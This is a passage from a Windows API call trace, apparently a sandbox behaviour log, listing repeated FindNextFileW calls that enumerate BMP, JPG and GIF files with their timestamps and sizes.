ftCreationTime.dwLowDateTime=0x101bc6d0, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x101bc6d0, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x101e2909, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7e90, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH01035U.BMP", cAlternateFileName="")) returned 1 [0128.785] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x101bc6d0, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x101bc6d0, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x101bc6d0, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x211bb, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH01046J.JPG", cAlternateFileName="")) returned 1 [0128.785] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x102ed99a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x102ed99a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x102ed99a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xa202, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH01179J.JPG", cAlternateFileName="")) returned 1 [0128.785] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x101e2909, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x101e2909, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x101e2909, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x18be, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH01213K.JPG", cAlternateFileName="")) returned 1 [0128.785] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x101e2909, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x101e2909, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x101e2909, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1c94, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH01221K.JPG", cAlternateFileName="")) returned 1 [0128.785] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x101e2909, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x101e2909, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x101e2909, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7db8, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH01235U.BMP", cAlternateFileName="")) returned 1 [0128.785] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x101e2909, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x101e2909, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x101e2909, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7ce0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH01236U.BMP", cAlternateFileName="")) returned 1 [0128.785] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x101e2909, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x101e2909, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x101e2909, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1764, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH01239K.JPG", cAlternateFileName="")) returned 1 [0128.786] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x101e2909, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x101e2909, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x101e2909, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7c08, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH01247U.BMP", cAlternateFileName="")) returned 1 [0128.786] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x101e2909, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x101e2909, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x101e2909, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1e55, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH01255G.GIF", cAlternateFileName="")) returned 1 [0128.786] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x101e2909, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x101e2909, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x10208b6e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7c08, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH01265U.BMP", cAlternateFileName="")) returned 1 [0128.786] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x101e2909, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x101e2909, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x101e2909, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7db8, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH01332U.BMP", cAlternateFileName="")) returned 1 [0128.786] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1022edb4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1022edb4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1027b233, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7ce0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH01478U.BMP", cAlternateFileName="")) returned 1 [0128.786] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x10208b6e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x10208b6e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1022edb4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7db8, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH01562U.BMP", cAlternateFileName="")) returned 1 [0128.787] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x10208b6e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x10208b6e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x10208b6e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7ce0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH01607U.BMP", cAlternateFileName="")) returned 1 [0128.787] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x10208b6e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x10208b6e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1022edb4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x9abe, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH01931J.JPG", cAlternateFileName="")) returned 1 [0128.787] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x10208b6e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x10208b6e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x10208b6e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x451e, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH02028K.JPG", cAlternateFileName="")) returned 1 [0128.787] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x10208b6e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x10208b6e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x10208b6e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7ce0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH02039U.BMP", cAlternateFileName="")) returned 1 [0128.787] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x101e2909, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x101e2909, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x101e2909, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7db8, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH02040U.BMP", cAlternateFileName="")) returned 1 [0128.787] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x101e2909, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x101e2909, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x10208b6e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x6afc, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH02053J.JPG", cAlternateFileName="")) returned 1 [0128.787] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x10208b6e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x10208b6e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x10208b6e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7ce0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH02058U.BMP", cAlternateFileName="")) returned 1 [0128.788] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x101e2909, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x101e2909, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x101e2909, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7ce0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH02062U.BMP", cAlternateFileName="")) returned 1 [0128.788] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1022edb4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1022edb4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1022edb4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7297, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH02069J.JPG", cAlternateFileName="")) returned 1 [0128.788] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1022edb4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1022edb4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1022edb4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7db8, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH02071U.BMP", cAlternateFileName="")) returned 1 [0128.788] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1022edb4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1022edb4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1022edb4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7ce0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH02074U.BMP", cAlternateFileName="")) returned 1 [0128.788] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x10208b6e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x10208b6e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1022edb4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7ce0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH02208U.BMP", cAlternateFileName="")) returned 1 [0128.788] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1022edb4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1022edb4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1022edb4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7db8, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH02223U.BMP", cAlternateFileName="")) returned 1 [0128.788] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x10208b6e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x10208b6e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1022edb4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7db8, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH02291U.BMP", cAlternateFileName="")) returned 1 [0128.789] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1022edb4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1022edb4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1022edb4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7ce0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH02398U.BMP", cAlternateFileName="")) returned 1 [0128.789] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x10208b6e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x10208b6e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1022edb4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xdd5, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH02412K.JPG", cAlternateFileName="")) returned 1 [0128.789] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x10208b6e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x10208b6e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1022edb4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7ce0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH02417U.BMP", cAlternateFileName="")) returned 1 [0128.789] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x10208b6e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x10208b6e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1022edb4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7c08, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH02466U.BMP", cAlternateFileName="")) returned 1 [0128.789] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1022edb4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1022edb4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1027b233, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x48fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH02470U.BMP", cAlternateFileName="")) returned 1 [0128.789] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1022edb4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1022edb4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1027b233, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7ce0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH02503U.BMP", cAlternateFileName="")) returned 1 [0128.789] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1022edb4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1022edb4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1027b233, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8499, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH02567J.JPG", cAlternateFileName="")) returned 1 [0128.790] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1022edb4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1022edb4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1025500d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x639b, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH02736G.GIF", cAlternateFileName="")) returned 1 [0128.790] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1022edb4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1022edb4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1022edb4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7e90, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH02736U.BMP", cAlternateFileName="")) returned 1 [0128.790] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1022edb4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1022edb4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1022edb4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8118, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH02738U.BMP", cAlternateFileName="")) returned 1 [0128.798] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1022edb4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1022edb4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1025500d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x5f2b, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH02740G.GIF", cAlternateFileName="")) returned 1 [0128.798] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1022edb4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1022edb4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1027b233, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7f68, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH02740U.BMP", cAlternateFileName="")) returned 1 [0128.798] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1022edb4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1022edb4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1022edb4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x50a5, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH02742G.GIF", cAlternateFileName="")) returned 1 [0128.798] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1022edb4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1022edb4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1022edb4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7ce0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH02742U.BMP", cAlternateFileName="")) returned 1 [0128.798] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x102a14ae, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x102a14ae, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x102a14ae, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x6d86, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH02743G.GIF", cAlternateFileName="")) returned 1 [0128.799] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1027b233, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1027b233, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1027b233, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x5e7b, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH02746G.GIF", cAlternateFileName="")) returned 1 [0128.799] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1027b233, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1027b233, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x102a14ae, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7d84, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH02746U.BMP", cAlternateFileName="")) returned 1 [0128.799] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1027b233, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1027b233, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x102a14ae, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x6090, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH02748G.GIF", cAlternateFileName="")) returned 1 [0128.799] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1025500d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1025500d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1027b233, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7e90, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH02748U.BMP", cAlternateFileName="")) returned 1 [0128.799] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, 